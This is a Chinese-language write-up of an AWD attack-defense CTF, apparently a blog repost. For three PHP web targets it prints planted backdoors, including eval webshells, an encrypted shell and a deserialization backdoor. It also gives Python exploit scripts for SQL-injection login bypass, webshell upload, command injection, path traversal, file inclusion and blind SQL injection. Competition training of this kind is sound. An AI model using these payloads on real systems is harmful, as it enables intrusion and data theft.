跟着表哥学习如何打「AWD比赛」

在很多大型互联网公司中,安全团队会经常组织攻防模拟演练,目的是以攻促防,提前发现潜在风险,协助提升业务系统安全性和完善安全系统能力,更有效的抵御黑客攻击。

 

在网络安全的众多比赛中,AWD比赛就是这种攻防兼备的比赛形式。今天分享的文章是 i 春秋论坛的作者flag0原创的文章,他为我们带来的是一次AWD比赛的总结,想要了解AWD比赛的小伙伴,这篇文章不容错过,文章未经许可禁止转载!

注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

 

AWD介绍

AWD(Attack With Defense,攻防兼备)是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人得分,以防扣分。

这种模式非常激烈,赛前准备要非常充分,手上要有充足的防守方案和 EXP 攻击脚本,而且参赛越多,积累的经验就越多,获胜的希望就越大。

 

比赛规则

  • 每个团队分配到一个Docker主机,给定Web(Web)/ Pwn(Pwn)用户权限,通过特定的端口和密码进行连接;
  • 每台Docker主机上运行一个网络服务或其他的服务,需要选手保证其可用性,并尝试审计代码,攻击其他队伍;
  • 选手可以通过使用突破获取其他队伍的服务器的权限,读取其他服务器上的标志并提交到平台上;
  • 每次成功攻击可能5分,被攻击者取代5分;
  • 有效攻击五分钟一轮。选手需要保证己方服务的可用性,每次服务不可用,替换10分;
  • 服务检测五分钟一轮;
  • 禁止使用任何形式的DOS攻击,第一次发现扣1000分,第二次发现取消比赛资格。

Web1

首先用D盾进行查杀。

 

预留后门

pass.php

<?php
@eval($_POST['pass']);
?>

很简单直接的一句话后门

yjh.php

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
    //这里用于生成session
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $post=file_get_contents("php://input");//读取post内容
    if(!extension_loaded('openssl'))//检查openssl扩展是否已经加载
    {//如果没有openssl
        $t="base64_"."decode";
        $post=$t($post."");//base64_decode

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; //进行异或加密
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);//aes加密
    }
    $arr=explode('|',$post);//返回由字符串组成的数组
    $func=$arr[0];
    $params=$arr[1];//获取第二个

    class C
    {
        public function __construct($p) // __construct() 允许在实例化一个类之前先执行构造方法
        {
            eval($p."");//直接eval
        }
    }
    home.php?mod=space&uid=162648 C($params);
}
?>

生成随机密钥值通过密钥值对加密,如果服务器没有openssl扩展,则与密钥值进行异或解密,如果有openssl环境,则使用密钥值进行解密。

搞清楚了代码逻辑之后,编写利用脚本。

服务端有openssl扩展的利用脚本

import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def aes_encode(key, text):
    key = key.encode()
    text = text.encode()
    text = pad(text, 16)
    model = AES.MODE_CBC  # 定义模式
    aes = AES.new(key, model, b'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0')
    enPayload = aes.encrypt(text)  # 加密明文
    enPayload = base64.encodebytes(enPayload)  # 将返回的字节型数据转进行base64编码
    return enPayload

def getBinXie(url):
    req = requests.session()
    url = url+"/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    payload = '1|system("cat /flag");'
    enPayload = aes_encode(key,payload)
    res = req.post(url,enPayload).text
    return res
if __name__ == '__main__':
    url = "http://localhost"
    flag = getBinXie(url)
    print(flag)

因为php中加密方式是AES128,所以可以判断是CBC模式。

服务端没有openssl扩展的利用脚本

当没有扩展的时候会执行异或加密

def xorEncode(key,text):
    textNew = ""
    for i in range(len(text)):
        left = ord(text[i])
        rigth = ord(key[i+1&15])
        textNew += chr(left ^ rigth)
    textNew = base64.b64encode(textNew.encode())
    textNew = str(textNew,encoding="utf8")
    return textNew
def getBinXieXor(url):
    req = requests.session()
    url = url+"/login/yjh.php"
    par = {
        'pass':''
    }
    key = req.get(url,params=par).content
    key = str(key,encoding="utf8")
    text = "|system('cat /flag');"
    enPayload = xorEncode(key,text)
    res = req.post(url, enPayload).text
    return res

在Web1中,login\yjh.php与pma\binxie2.0.1.php与yjh.php内容是一样的。

 

反序列化后门

sqlhelper.php

D盾没扫出来的,还有一个反序列化后门。

if (isset($_POST['un']) && isset($_GET['x'])){
class A{
    public $name;
    public $male;

    function __destruct(){//析构方法,当这个对象用完之后,会自动执行这个函数中的语句
        $a = $this->name;
        $a($this->male);//利用点
    }
}

unserialize($_POST['un']);
}

$a($this->amle)如果$a=eval;$b=system('cat /flag');

就相当于eval(system("cat /flag"));

构造payload:

<?php
class A{
    public $name;
    public $male;

    function __destruct(){//对象的所有引用都被删除或者当对象被显式销毁时执行
        $a = $this->name;
        $a($this->male);//利用点
}
$flag = new A();
$flag -> name = "system";
$flag -> male = "cat /flag";
var_dump(serialize($flag));
?>

获得反序列化字符串:

O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}

 

封装成攻击函数:

def getSerialize(url):
    import requests
    url = url + "/sqlhelper.php?x=a"
    payload = {
        "un":'O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:9:"cat /flag";}'
    }
    flag = requests.post(url=url,data=payload).content
    return str(flag,encoding="utf8").strip()

 

文件上传漏洞

info.php

<?php
include_once "header.php";
include_once "sqlhelper.php";
?>
<?php
if (isset($_POST['address'])) {
    $helper = new sqlhelper();
    $address = addslashes($_POST['address']);
    if (isset($_POST['password'])) {
        $password = md5($_POST['password']);
        $sql = "UPDATE  admin SET address='$address',password='$password' WHERE id=$_SESSION[id]";
    } else {
        $sql = "UPDATE  admin SET address='$address'  WHERE id=$_SESSION[id]";
    }
    $res = $helper->execute_dml($sql);
    if ($res) {
        echo "<script>alert('更新成功');</script>";
    }
    if (isset($_FILES)) {
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:" . $_FILES["file"]["error"] . "<br>";
        } else {
            $type = $_FILES["file"]["type"];
            if($type=="image/jpeg"){
                $name =$_FILES["file"]["name"] ;
                if (file_exists("upload/" . $_FILES["file"]["name"]))
                {
                    echo "<script>alert('文件已经存在');</script>";
                }
                else
                {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "assets/images/avatars/" . $_FILES["file"]["name"]);
                    $helper = new sqlhelper();
                    $sql = "UPDATE  admin SET icon='$name' WHERE id=$_SESSION[id]";
                    $helper->execute_dml($sql);
                }
            }else{
                echo "<script>alert('不允许上传的类型');</script>";
            }
        }
    }
}

?>

可以看到文件上传的这里,只验证了cron-type,只要是把其修改为image/jepg就可以上传任意文件到assets/images/avatars/目录下了。

这里属于后台页面有权限控制,必须登陆后才能访问。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

查看登陆页面login/index.php

<?php
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    $username=$_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where name='$username' and password='$password';";
    $help = new sqlhelper();
    $res  = $help->execute_dql($sql);
    echo $sql;
    if ($res->num_rows){
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        $_SESSION['icon'] = $row['icon'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    }else{
        echo "<script>alert('用户名密码错误')</script>";
    }
}

SQL语句输入的部分没有任何过滤,很明显存在SQL注入漏洞,可以万能密码登陆绕过。

POST /login/index.php HTTP/1.1
Host: localhost.110.165.119:90
Content-Length: 33
Cache-Control: max-age=0
Origin: http://localhost:90
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:90/login/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=494n7s8cfqqarg9qaqm57ql534
Connection: close

username=admin'%23&password=ccccc

利用链为login/index.php万能密码登陆-> info.php任意文件上传。

编写脚本:

def getUPload(url):
    import requests
    req = requests.session()
    datas = {
        "username":"admin'#",
        "password":""
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    datas = {
        "address":"123123"
    }

    file = {
        ("file",("shell.php","<?php eval($_POST['cmd']);?>","image/jpeg"))
    }

    req.post(url+"info.php",headers=head,files=file,data=datas).text

    datas = {
        "cmd":"system('cat /flag');",
    }
    flag = req.post(url+"assets/images/avatars/shell.php",data=datas).text
    return flag.strip()

 

Web2

同样先用D盾扫一扫

 

预留后门

index.php

<!-- partial -->
<script src="./script.js"></script>
<?php @eval($_POST['nono']);?>
</body>
</html>

images \ pass.php与icon \ pww.php

是和Web1类似,这里就不再过多描述。

 

命令执行

connect.php

D盾报警的是这行$r = exec("ping -c 1 $host");

查看整段的逻辑:

<?php
if ($check == 'net') {
    $r = exec("ping -c 1 $host");
    if ($r) {
        ?>
        <div class="sufee-alert alert with-close alert-success alert-dismissible fade show">
            <span class="badge badge-pill badge-success">Success</span>
            网络通畅
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    } else {
        ?>
        <div class="sufee-alert alert with-close alert-danger alert-dismissible fade show">
            <span class="badge badge-pill badge-danger">Error</span>
            网络异常
            <button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
            </button>
        </div>
        <?php
    }
}
echo "";
?>

发现并没有回显,而是根据状态来显示不同的html代码,其中$host变量是可控的,我们看下是怎么赋值的:

if (isset($_GET['check'])) {
    $check = $_GET['check'];
    $id = intval($_GET['id']);
    $sql = "SELECT host,port from host where id = $id";
    $res = $helper->execute_dql($sql);
    $row = $res->fetch_assoc();
    $host = $row['host'];
    $port = $row['port'];
    if ($check=='web'){
        $location = $host.':'.$port; // Get the URL from the user.
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $res_web = curl_exec($curl);
        curl_close($curl);

    }

}

可以看到是从数据库查询的结果,接着看是如何插入数据库的:

if (isset($_POST['host'])) {
    $host = addslashes($_POST['host']);
    $port = intval($_POST['port']);
    if ($host && $port) {
        $sql = "INSERT INTO `host` (`host`, `port`) VALUES ('$host', '$port')";
        $res = $helper->execute_dml($sql);
        echo "<script>alert('成功加入云主机');</script>";
    } else {
        echo "<script>alert('不可以为空');</script>";
    }
}

在传入的时候经过了addslashes转义,但是转义对命令执行来说没有什么作用。

在connect.php中开头包含了header.php文件。

<?php
include "header.php";
include_once "sqlhelper.php";
$helper = new sqlhelper();

而header.php中包含了login_require.php在其中有session的检测。

<?php
session_start();
if (!isset($_SESSION['username'])){
    header('Location: /login');
}

在login/index.php中存在的SQL语句没有经过任何过滤,存在SQL注入,可以使用万能密码登陆。

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = $_POST['username'];
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用户名密码错误')</script>";
    }
}
?>

构造payload

构造利用payload

POST /connect.php?check=net&id=16 HTTP/1.1
Host: localhost:91
Content-Length: 60
Cache-Control: max-age=0
Origin: http://localhost:91
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:91/connect.php?check=net&id=16
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=6f3h723lnmdc1vd4u066p2rc75
Connection: close

host=||cat /flag > /usr/local/apache2/htdocs/1.txt&port=1123

因为没有回显所以将标志写入文件中,我们直接访问即可。

虽然有session,但是发现不登陆直接访问也可以。

 

虽然304跳转,但是却仍然执行命令了。

编写利用模块:

def getExec(url):
    import requests
    datas = {
        "host":"||cat /flag > /usr/local/apache2/htdocs/1.txt",
        "port":9999
    }

    requests.post(url+"/connect.php?check=net&id=16",data=datas)#执行命令
    flag = requests.get(url+"1.txt").text
    return flag.strip()

 

任意文件访问

img.php

<?php
$file = $_GET['img'];
$img = file_get_contents('images/icon/'.$file);
//使用图片头输出浏览器
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $img;
exit;

这里可以利用目录穿越,直接读取到flag。

构造payload:

/img.php?img=/../../../../../../flag

编写利用模块:

def getImg(url):
    import requests
    param = {
        "img":"/../../../../../../flag"
    }
    flag = requests.get(url+"/img.php",params=param).text
    return flag.strip()

反序列化后门

sqlhelper.php

<?php

class A{
    public $name;
    public $male;

    function __destruct(){
        $a = $this->name;
        $a($this->male);
    }
}

unserialize($_POST['un']);
?>

这里的利用和Web1中的利用是一样的,只不过少了if (isset($_POST['un']) && isset($_GET['x']))的限制,少了$_GET['x']参数,用之前的利用模块即可。

 

Web3

同样这里使用D盾扫一下

 

只扫到了一个

 

命令执行

export.php

<?php
if (isset($_POST['name'])){
    $name = $_POST['name'];
    exec("tar -cf backup/$name images/*.jpg");
    echo "<div class=\"alert alert-success\" role=\"alert\">导出成功,<a href='backup/$name'>点击下载</a></div>";
}
?>

构造payload:

name=||cat /flag > /usr/local/apache2/htdocs/1.txt||

因为这里没有回显所以,也只能导出flag,或者可以利用这个后门写入Webshell。

编写利用模块:

def getExec3(url):
    import requests
    datas = {
        "name":"||cat /flag > /usr/local/apache2/htdocs/1.txt||"
    }
    requests.post(url+"/export.php",data=datas)
    flag = requests.get(url+"/1.txt").text
    return flag.strip()

文件包含

index.php

<?php
include_once "login_require.php";
if (isset($_GET['page'])){
    $page = $_GET['page'];

}else{
        $page = 'chart.php';
}
?>
<!--                            --><?php
                            include_once "$page";
//                            ?>

构造payload,直接包含标志文件(这里必须登陆,才可以利用)。

index.php?page=../../../../flag

 

看一下login / index.php

<?php
if (isset($_POST['username'])) {
    include_once "../sqlhelper.php";
    $username = addslashes($_POST['username']);
    $password = md5($_POST['password']);
    $sql = "SELECT * FROM admin where username='$username' and password='$password'";
    var_dump($sql);
    $help = new sqlhelper();
    $res = $help->execute_dql($sql);
    if ($res->num_rows) {
        session_start();
        $row = $res->fetch_assoc();
        $_SESSION['username'] = $username;
        $_SESSION['id'] = $row['id'];
        echo "<script>alert('登录成功');window.location.href='/'</script>";
    } else {
        echo "<script>alert('用户名密码错误')</script>";
    }
}
?>

username处被addslashes( )转义了,而且没有编码转换。

这里只能使用默认的账号密码登陆,查看数据库中密码。

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');

经在线解密为123456

我们据此构造利用模块:

def getInclude(url):
    import requests
    import re
    req = requests.session()
    datas = {
        "username":"admin",
        "password":"123456"
    }
    login = req.post(url=url+"login/index.php",data=datas)

    head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0",
    "Cookie": "PHPSESSID="+login.cookies.items()[0][1]
    }
    param = {
        "page":"../../../../flag"
    }

    rep = req.get(url+"/index.php",params=param,headers=head).text
    keys = re.search("flag{(.+?)}",rep)
    flag = keys.group(1)
    flag = "flag{"+flag+"}"
    return flag

这样就只有账号密码没有修改的会中招。

 

SQL注入

order.php

order.php处存在SQL注入漏洞,用延时注入可以注入出来密码,但是效率有点低。

<?php
include_once "sqlhelper.php";
$helper = new sqlhelper();
if (isset($_POST['name'])) {
    $name = addslashes($_POST['name']);
    $price = intval($_POST['price']);
    if (isset($_FILES)) {
        // 允许上传的图片后缀
        $allowedExts = array("gif", "jpeg", "jpg", "png");
        $temp = explode(".", $_FILES["file"]["name"]);
        $extension = end($temp);     // 获取文件后缀名
        if ((($_FILES["file"]["type"] == "image/gif")
                || ($_FILES["file"]["type"] == "image/jpeg")
                || ($_FILES["file"]["type"] == "image/jpg")
                || ($_FILES["file"]["type"] == "image/pjpeg")
                || ($_FILES["file"]["type"] == "image/x-png")
                || ($_FILES["file"]["type"] == "image/png"))
            && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
            && in_array($extension, $allowedExts)) {
            if ($_FILES["file"]["error"] > 0) {
                echo "错误:" . $_FILES["file"]["error"] . "<br>";
            } else {
                $filename = $_FILES["file"]["name"];
                if (file_exists("upload/" . $_FILES["file"]["name"])) {
                    echo "<script>alert('文件已经存在');</script>";
                } else {
                    move_uploaded_file($_FILES["file"]["tmp_name"], "images/" . $_FILES["file"]["name"]);
                }
            }
        } else {
            echo "<script>alert('不允许上传的类型$t');</script>";
        }
    }

    if ($name && $price) {
        $sql = "INSERT INTO `product` (`name`, `price`,`img`) VALUES ('$name', '$price','$filename')";
        $res = $helper->execute_dml($sql);
        if ($res){
            echo "<script>alert('添加成功');</script>";

        }
    } else {
        echo "<script>alert('添加失败');</script>";
    }
}

这里的insert语句将'$name', '$price','$filename'带入了数据库。

$name = addslashes($_POST['name']);
$price = intval($_POST['price']);

而$ name和$ price经过了处理,只有$ filename参数可以利用了,可以使用延时注入。

下面附上脚本,可以调用cmd5的接口进行md5解密,但是这个脚本跑下来效率很低。

#coding=utf8
import requests
import time

def getAdminPass(url):
    passwdMd5 = ""
    md5Api = "https://www.cmd5.com/api.ashx?email=邮箱&key=这里换上你的key&hash="
    for i in range(32):
        for c in range(32,127):
            payload = "' or if((ascii(mid((select password from admin),{0},1))={1}),sleep(3),1))#') .png".format(str(i+1),str(c))
            print(payload)
            file = {
                ("file", ("{0}".format(payload), "", "image/png"))
            }
            datas = {
                "name": "1",
                "price": "2"
            }
            start_time = time.time()
            requests.post(url + "/order.php", data=datas, files=file)
            end_time = time.time()
            if (end_time - start_time) > 3:
                passwdMd5 += chr(c)
                print(passwdMd5)
                break

    passwd = requests.get(md5Api+passwdMd5).text.strip()
    errDict = {
        0:"解密失败",
        -1:"无效的用户名密码",
        -2:"余额不足",
        -3:"解密服务器故障",
        -4:"不识别的密文",
        -7:"不支持的类型",
        -8:"api权限被禁止",
        -999:"其它错误"
    }
    if "CMD5-ERROR" in passwd:
        index = passwd.rfind(":")
        errId = passwd[index+1:]
        errStr = errDict.get(int(errId))
        return "[-]Error: "+errStr
    else:
        return passwd.strip()

if __name__ == '__main__':
    url = "http://locahost:92"
    passwd = getAdminPass(url)
    print(passwd)

 

总结

这次比赛是三个Web两个Pwn,一共三个小时的时间,比赛过程中惊叹于师傅们的快速审计与突破利用能力,深深的感觉到了差距。

posted @ 2020-03-05 11:19  i春秋  阅读(3515)  评论(0编辑  收藏  举报